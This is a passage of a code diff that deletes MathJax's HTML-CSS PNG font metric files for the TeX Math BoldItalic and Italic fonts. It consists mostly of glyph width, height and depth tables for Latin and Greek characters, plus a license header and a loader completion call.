-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2F: [  // SOLIDUS
-      [6,6,1],[7,8,2],[8,10,2],[9,10,2],[11,12,3],[13,16,4],[15,18,4],[18,22,5],
-      [21,26,6],[25,31,7],[29,37,8],[35,43,9],[41,51,11],[49,62,14]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[28,23,0],[33,29,0],[40,33,0],[47,40,0],[56,47,0]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,24,1],[34,29,1],[40,33,1],[48,40,0],[57,49,2]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[16,12,0],[18,14,0],[22,17,0],
-      [26,20,0],[31,23,0],[36,28,0],[43,32,0],[51,38,0],[61,46,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,38,0],[54,46,0]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,24,1],[34,29,1],[40,33,1],[48,40,0],[57,48,1]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [8,5,0],[9,6,0],[11,8,0],[13,8,0],[15,9,0],[18,12,0],[21,14,0],[24,17,0],
-      [29,20,0],[34,23,0],[41,28,0],[48,32,0],[58,38,0],[68,46,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [16,20,0],[19,23,0],[23,28,0],[27,32,0],[32,38,0],[38,46,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [5,5,0],[6,6,0],[7,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[23,24,1],[28,29,1],[33,33,1],[39,39,1],[46,47,1]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [7,5,0],[9,6,0],[10,8,0],[12,8,0],[14,9,0],[17,12,0],[20,14,0],[24,17,0],
-      [28,20,0],[34,23,0],[40,28,0],[47,32,0],[56,38,0],[67,46,0]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [5,5,0],[6,6,0],[7,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[28,28,0],[34,32,0],[40,38,0],[47,46,0]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [9,6,0],[11,7,0],[12,9,0],[15,9,0],[17,10,0],[21,13,0],[24,15,0],[29,18,0],
-      [34,21,0],[41,24,0],[48,29,0],[57,33,0],[68,39,0],[81,47,0]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [8,5,0],[9,6,0],[11,8,0],[13,8,0],[15,9,0],[18,12,0],[20,14,0],[24,17,0],
-      [29,20,0],[34,23,0],[41,28,0],[48,32,0],[57,38,0],[68,46,0]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,20,0],[27,24,1],[32,29,1],[38,33,1],[46,40,1],[54,48,2]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [6,5,0],[8,7,0],[9,9,0],[10,9,0],[12,10,0],[15,13,0],[17,15,0],[20,18,0],
-      [24,21,0],[28,24,0],[34,29,0],[40,33,0],[48,39,0],[56,47,0]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,6,1],[7,8,2],[8,10,2],[10,10,2],[12,12,3],[14,16,4],[16,18,4],[19,22,5],
-      [23,26,6],[27,30,7],[32,36,8],[38,41,9],[46,50,11],[54,60,14]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[30,24,1],[35,29,1],[42,33,1],[49,39,0],[59,47,1]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [5,5,0],[6,6,0],[7,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[24,24,1],[28,29,1],[34,33,1],[40,41,2],[47,48,2]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,19,0],[26,22,0],[30,27,0],[36,31,0],[43,38,0],[51,45,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[29,24,1],[35,29,1],[41,33,1],[49,39,0],[58,47,1]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[29,24,1],[35,29,1],[41,33,1],[49,39,0],[58,47,1]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [9,5,0],[10,6,0],[12,8,0],[15,8,0],[17,9,0],[20,12,0],[24,14,0],[28,17,0],
-      [34,20,0],[40,24,1],[48,29,1],[56,33,1],[67,39,0],[80,48,1]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [7,5,0],[8,6,0],[10,8,0],[12,8,0],[14,9,0],[16,12,0],[19,14,0],[23,17,0],
-      [27,20,0],[32,23,0],[38,28,0],[45,32,0],[53,39,1],[63,46,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[29,23,0],[35,28,0],[41,32,0],[49,38,0],[58,45,0]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,38,0],[54,46,0]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [5,3,0],[6,4,0],[6,5,0],[8,5,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],
-      [17,13,0],[20,15,0],[24,18,0],[29,21,0],[34,25,0],[40,31,1]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[10,14,0],[12,17,0],
-      [15,20,0],[17,23,0],[21,28,0],[24,32,0],[29,38,0],[34,47,1]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [4,3,0],[5,4,0],[5,5,0],[6,5,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [15,13,0],[17,15,0],[20,18,0],[24,21,0],[29,25,0],[34,31,1]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[12,14,0],[15,17,0],
-      [17,20,0],[21,23,0],[25,28,0],[29,32,0],[34,38,0],[41,47,1]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [4,3,0],[5,4,0],[5,5,0],[6,5,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [15,13,0],[17,15,0],[20,18,0],[24,21,0],[29,25,0],[34,31,1]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [5,6,1],[6,8,2],[7,10,2],[8,10,2],[9,12,3],[11,16,4],[13,18,4],[15,22,5],
-      [18,26,6],[21,30,7],[25,36,8],[30,41,9],[35,50,11],[42,59,13]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[9,12,4],[11,13,4],[13,16,5],
-      [15,19,6],[18,22,7],[22,26,8],[26,30,9],[30,36,11],[36,43,13]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,28,0],[30,33,1],[36,39,0],[42,47,1]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [3,5,0],[4,6,0],[4,8,0],[5,8,0],[6,9,0],[7,12,0],[8,14,0],[9,17,0],
-      [11,20,0],[12,23,0],[15,28,0],[17,32,0],[21,38,0],[24,47,1]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [5,6,1],[5,8,2],[6,10,2],[7,10,2],[8,12,3],[9,16,4],[10,18,4],[12,22,5],
-      [14,26,6],[16,30,7],[19,36,8],[23,41,9],[27,49,11],[31,59,13]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [16,20,0],[19,23,0],[23,28,0],[27,32,0],[32,38,0],[38,47,1]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [3,5,0],[3,6,0],[3,8,0],[4,8,0],[5,9,0],[5,12,0],[6,14,0],[7,17,0],
-      [9,20,0],[10,23,0],[12,28,0],[14,32,0],[17,38,0],[20,47,1]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [7,3,0],[9,4,0],[10,5,0],[12,5,0],[14,6,0],[17,8,0],[20,9,0],[24,11,0],
-      [28,13,0],[33,15,0],[40,18,0],[47,21,0],[56,25,0],[66,31,1]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [5,3,0],[6,4,0],[7,5,0],[9,5,0],[10,6,0],[12,8,0],[14,9,0],[16,11,0],
-      [19,13,0],[23,15,0],[27,18,0],[32,21,0],[38,25,0],[45,31,1]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],
-      [16,13,0],[19,15,0],[23,18,0],[27,21,0],[32,25,0],[38,31,1]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [6,4,1],[6,6,2],[7,7,2],[8,7,2],[10,9,3],[11,12,4],[13,13,4],[15,16,5],
-      [18,19,6],[21,22,7],[25,26,8],[30,30,9],[35,36,11],[42,44,14]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[10,12,4],[11,13,4],[13,16,5],
-      [16,19,6],[19,22,7],[22,26,8],[26,30,9],[31,36,11],[37,44,14]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [4,3,0],[5,4,0],[5,5,0],[6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[17,15,0],[20,18,0],[24,21,0],[28,25,0],[33,31,1]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[16,15,0],[19,18,0],[23,21,0],[27,25,0],[32,31,1]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,5,0],[4,6,0],[4,7,0],[5,7,0],[6,9,0],[7,12,0],[8,13,0],[9,16,0],
-      [11,19,0],[13,22,0],[16,26,0],[18,30,0],[22,36,0],[26,43,1]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [5,3,0],[6,4,0],[7,5,0],[8,5,0],[9,6,0],[11,8,0],[13,9,0],[16,11,0],
-      [18,13,0],[22,15,0],[26,18,0],[31,21,0],[36,25,0],[43,31,1]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-      [15,13,0],[18,15,0],[22,18,0],[25,21,0],[30,25,0],[36,31,1]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [6,3,0],[7,4,0],[8,5,0],[10,5,0],[11,6,0],[14,8,0],[16,9,0],[19,11,0],
-      [22,13,0],[27,15,0],[32,18,0],[37,21,0],[44,25,0],[53,31,1]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [5,3,0],[5,4,0],[6,5,0],[8,5,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],
-      [17,13,0],[20,15,0],[24,18,0],[28,21,0],[34,25,0],[40,31,1]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [5,4,1],[5,6,2],[6,7,2],[7,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],
-      [17,19,6],[20,22,7],[23,26,8],[28,30,9],[33,36,11],[39,43,13]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-      [15,13,0],[18,15,0],[22,18,0],[25,21,0],[30,25,0],[36,31,1]
-    ],
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[13,12,0],[16,14,0],[19,17,0],
-      [22,20,0],[26,23,0],[31,28,0],[37,32,0],[43,38,0],[52,46,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [7,5,0],[8,7,1],[9,9,1],[11,9,1],[13,10,1],[15,13,1],[18,15,1],[21,18,1],
-      [25,21,1],[30,24,1],[36,30,1],[42,34,1],[50,41,1],[60,48,1]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[28,24,1],[34,29,1],[40,33,1],[47,39,1],[56,47,1]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[13,12,0],[16,14,0],[18,17,0],
-      [22,20,0],[26,24,0],[31,29,0],[36,33,0],[43,40,0],[51,47,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,23,0],[34,27,0],[40,31,0],[48,38,0],[57,45,0]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [8,5,0],[9,6,0],[11,8,0],[13,8,0],[15,9,0],[18,12,0],[21,14,0],[24,17,0],
-      [29,20,0],[34,23,0],[41,27,0],[48,32,0],[57,38,0],[68,46,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[30,23,0],[36,28,0],[42,32,0],[50,38,0],[60,46,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,39,0],[53,47,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [21,20,0],[25,23,0],[29,28,0],[35,32,0],[41,38,0],[49,46,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,38,0],[53,45,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[29,23,0],[35,28,0],[41,32,0],[49,39,0],[58,47,0]
-    ],
-    0x3B1: [  // GREEK SMALL LETTER ALPHA
-      [5,3,0],[6,4,0],[7,5,0],[9,5,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],
-      [20,13,0],[24,15,0],[28,18,0],[34,21,0],[40,25,0],[47,31,1]
-    ],
-    0x3B2: [  // GREEK SMALL LETTER BETA
-      [5,6,1],[6,8,2],[7,10,2],[8,10,2],[9,12,3],[11,16,4],[13,18,4],[15,22,5],
-      [18,26,6],[21,30,7],[25,36,8],[30,41,9],[36,50,11],[42,60,14]
-    ],
-    0x3B3: [  // GREEK SMALL LETTER GAMMA
-      [5,4,1],[6,6,2],[7,7,2],[8,7,2],[9,9,3],[11,12,4],[13,13,4],[15,16,5],
-      [18,19,6],[21,22,7],[25,26,8],[29,30,9],[35,37,12],[41,45,15]
-    ],
-    0x3B4: [  // GREEK SMALL LETTER DELTA
-      [4,5,0],[5,7,0],[6,8,0],[7,8,0],[8,10,0],[9,13,0],[10,16,0],[12,18,0],
-      [15,21,0],[17,25,0],[21,29,0],[24,34,0],[29,41,0],[34,49,1]
-    ],
-    0x3B5: [  // GREEK SMALL LETTER EPSILON
-      [4,3,0],[5,4,0],[5,5,0],[6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[17,16,1],[20,19,1],[23,22,1],[28,27,1],[33,32,1]
-    ],
-    0x3B6: [  // GREEK SMALL LETTER ZETA
-      [4,6,1],[5,8,2],[6,10,2],[7,10,2],[8,12,3],[9,16,4],[11,18,4],[13,22,5],
-      [15,26,6],[18,31,7],[21,37,8],[25,43,9],[30,51,11],[35,61,13]
-    ],
-    0x3B7: [  // GREEK SMALL LETTER ETA
-      [5,4,1],[5,6,2],[6,7,2],[7,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],
-      [17,19,6],[20,22,7],[24,26,8],[28,30,9],[33,36,11],[39,45,15]
-    ],
-    0x3B8: [  // GREEK SMALL LETTER THETA
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,28,0],[26,32,0],[31,39,0],[37,47,1]
-    ],
-    0x3B9: [  // GREEK SMALL LETTER IOTA
-      [3,3,0],[4,4,0],[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,11,0],
-      [11,13,0],[13,15,0],[16,18,0],[18,21,0],[22,25,0],[26,31,1]
-    ],
-    0x3BA: [  // GREEK SMALL LETTER KAPPA
-      [5,3,0],[6,4,0],[7,5,0],[8,5,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],
-      [18,13,0],[22,15,0],[26,18,0],[30,21,0],[36,25,0],[43,31,1]
-    ],
-    0x3BB: [  // GREEK SMALL LETTER LAMDA
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-      [18,20,0],[22,24,1],[26,29,1],[31,33,1],[36,38,0],[43,47,1]
-    ],
-    0x3BC: [  // GREEK SMALL LETTER MU
-      [5,4,1],[6,6,2],[7,7,2],[8,7,2],[10,9,3],[12,12,4],[14,13,4],[16,16,5],
-      [19,19,6],[23,22,7],[27,26,8],[32,31,10],[38,37,12],[45,45,15]
-    ],
-    0x3BD: [  // GREEK SMALL LETTER NU
-      [5,3,0],[6,4,0],[6,5,0],[8,5,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],
-      [17,13,0],[20,15,0],[24,18,0],[29,21,0],[34,25,0],[40,31,1]
-    ],
-    0x3BE: [  // GREEK SMALL LETTER XI
-      [4,6,1],[5,8,2],[5,10,2],[6,10,2],[7,12,3],[9,16,4],[10,18,4],[12,22,5],
-      [14,26,6],[17,30,7],[20,36,8],[23,43,9],[28,51,11],[33,61,13]
-    ],
-    0x3BF: [  // GREEK SMALL LETTER OMICRON
-      [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],
-      [16,13,0],[19,15,0],[23,18,0],[27,21,0],[32,25,0],[38,31,1]
-    ],
-    0x3C0: [  // GREEK SMALL LETTER PI
-      [5,3,0],[6,4,0],[7,5,0],[8,5,0],[10,6,0],[12,8,0],[14,9,0],[16,11,0],
-      [19,13,0],[23,15,0],[27,18,0],[32,21,0],[38,25,0],[45,31,1]
-    ],
-    0x3C1: [  // GREEK SMALL LETTER RHO
-      [5,4,1],[5,6,2],[6,7,2],[8,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],
-      [17,19,6],[20,22,7],[24,26,8],[29,30,9],[34,37,12],[40,45,15]
-    ],
-    0x3C2: [  // GREEK SMALL LETTER FINAL SIGMA
-      [4,4,1],[4,5,1],[5,6,1],[6,6,1],[7,7,1],[8,10,2],[9,12,3],[11,14,3],
-      [13,16,3],[16,18,3],[18,22,4],[22,26,5],[26,31,6],[31,37,7]
-    ],
-    0x3C3: [  // GREEK SMALL LETTER SIGMA
-      [5,3,0],[6,4,0],[7,5,0],[8,5,0],[10,6,0],[12,8,0],[14,9,0],[16,11,0],
-      [19,13,0],[23,15,0],[27,18,0],[32,21,0],[38,25,0],[45,30,1]
-    ],
-    0x3C4: [  // GREEK SMALL LETTER TAU
-      [5,3,0],[6,4,0],[6,5,0],[8,5,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],
-      [17,13,0],[20,16,1],[24,19,1],[29,22,1],[34,25,0],[40,31,1]
-    ],
-    0x3C5: [  // GREEK SMALL LETTER UPSILON
-      [5,3,0],[5,4,0],[6,5,0],[8,5,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],
-      [17,13,0],[20,15,0],[24,18,0],[28,21,0],[34,25,0],[40,31,1]
-    ],
-    0x3C6: [  // GREEK SMALL LETTER PHI
-      [5,4,1],[6,6,2],[7,7,2],[9,7,2],[10,9,3],[12,12,4],[14,13,4],[17,16,5],
-      [20,19,6],[24,22,7],[28,26,8],[33,31,10],[39,37,12],[47,44,14]
-    ],
-    0x3C7: [  // GREEK SMALL LETTER CHI
-      [5,4,1],[6,6,2],[7,7,2],[9,7,2],[10,9,3],[12,12,4],[14,13,4],[17,16,5],
-      [20,19,6],[23,22,7],[28,26,8],[33,30,9],[39,36,11],[46,43,13]
-    ],
-    0x3C8: [  // GREEK SMALL LETTER PSI
-      [6,6,1],[7,8,2],[8,10,2],[9,10,2],[11,12,3],[13,16,4],[15,18,4],[17,22,5],
-      [21,26,6],[24,30,7],[29,36,8],[34,41,9],[41,50,11],[48,59,13]
-    ],
-    0x3C9: [  // GREEK SMALL LETTER OMEGA
-      [5,3,0],[6,4,0],[7,5,0],[9,5,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],
-      [20,13,0],[23,15,0],[28,18,0],[33,21,0],[39,25,0],[46,31,1]
-    ],
-    0x3D1: [  // GREEK THETA SYMBOL
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-      [18,20,0],[22,23,0],[26,28,0],[31,32,0],[36,39,0],[43,47,1]
-    ],
-    0x3D5: [  // GREEK PHI SYMBOL
-      [5,6,1],[6,8,2],[7,10,2],[9,10,2],[10,12,3],[12,16,4],[14,18,4],[16,22,5],
-      [20,26,6],[23,30,7],[27,36,8],[32,41,9],[39,49,11],[46,59,13]
-    ],
-    0x3D6: [  // GREEK PI SYMBOL
-      [7,3,0],[8,4,0],[10,5,0],[12,5,0],[14,6,0],[16,8,0],[19,9,0],[23,11,0],
-      [27,13,0],[32,15,0],[38,18,0],[45,21,0],[53,25,0],[63,31,1]
-    ],
-    0x3F1: [  // GREEK RHO SYMBOL
-      [5,4,1],[5,6,2],[6,7,2],[8,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],
-      [17,19,6],[20,22,7],[24,26,8],[28,30,9],[34,36,11],[40,44,14]
-    ],
-    0x3F5: [  // GREEK LUNATE EPSILON SYMBOL
-      [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[15,15,0],[18,18,0],[22,21,0],[26,25,0],[30,30,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Math/BoldItalic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
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--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Math/Italic/Main.js
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-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Math/Italic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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[5,6,0],[6,8,0],[7,9,0],[8,11,0],[9,14,0],[11,16,0],[13,19,0],[16,24,0],[19,28,0],[22,34,1],[26,41,1],[31,47,1]],953:[[3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,15,0],[13,17,0],[16,22,1],[19,26,1],[22,30,1]],954:[[4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[11,9,0],[13,10,0],[16,12,0],[19,15,0],[22,17,0],[26,22,1],[31,26,1],[37,30,1]],955:[[4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,0],[16,19,0],[19,24,0],[22,27,0],[26,34,1],[31,40,1],[37,47,1]],956:[[4,4,1],[5,6,2],[6,6,2],[7,7,2],[8,9,3],[10,10,3],[12,13,4],[14,15,5],[16,18,6],[20,22,7],[23,25,8],[27,32,11],[33,38,13],[39,44,15]],957:[[4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],[18,15,0],[21,17,0],[25,22,1],[30,25,0],[35,29,0]],958:[[4,6,1],[4,8,2],[5,8,2],[6,10,2],[7,12,3],[8,14,3],[9,18,4],[11,21,5],[13,25,6],[15,31,7],[18,36,8],[21,43,10],[25,52,12],[30,60,13]],959:[[4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[12,10,0],[14,12,0],[16,15,0],[19,17,0],[23,22,1],[27,26,1],[32,30,1]],960:[[4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],[16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,25,1],[38,29,1]],961:[[4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,15,5],[14,18,6],[17,22,7],[20,25,8],[24,32,11],[28,38,13],[34,44,15]],962:[[3,4,1],[4,5,1],[5,5,1],[5,7,2],[6,8,2],[7,9,2],[8,11,2],[10,13,3],[12,15,3],[14,19,4],[17,22,5],[20,26,5],[23,32,7],[27,36,7]],963:[[4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],[16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,25,1],[38,29,1]],964:[[4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[10,9,0],[12,10,0],[15,12,0],[17,15,0],[21,17,0],[24,21,1],[29,26,1],[34,29,1]],965:[[4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],[18,15,0],[21,17,0],[25,22,1],[29,26,1],[35,30,1]],966:[[5,4,1],[6,6,2],[7,6,2],[8,7,2],[9,9,3],[11,10,3],[13,13,4],[15,15,5],[18,18,6],[21,22,7],[25,25,8],[29,32,11],[35,38,13],[41,44,15]],967:[[5,4,1],[5,6,2],[6,6,2],[8,7,2],[9,9,3],[10,10,3],[12,13,4],[14,15,5],[17,18,6],[20,22,7],[24,25,8],[28,31,10],[34,37,12],[40,42,13]],968:[[5,6,1],[6,8,2],[7,8,2],[8,10,2],[9,12,3],[11,14,3],[13,18,4],[15,21,5],[18,25,6],[21,31,7],[25,35,8],[30,43,10],[35,51,12],[42,59,13]],969:[[5,3,0],[6,4,0],[6,4,0],[8,5,0],[9,6,0],[11,7,0],[12,9,0],[15,10,0],[17,12,0],[20,15,0],[24,17,0],[29,22,1],[34,26,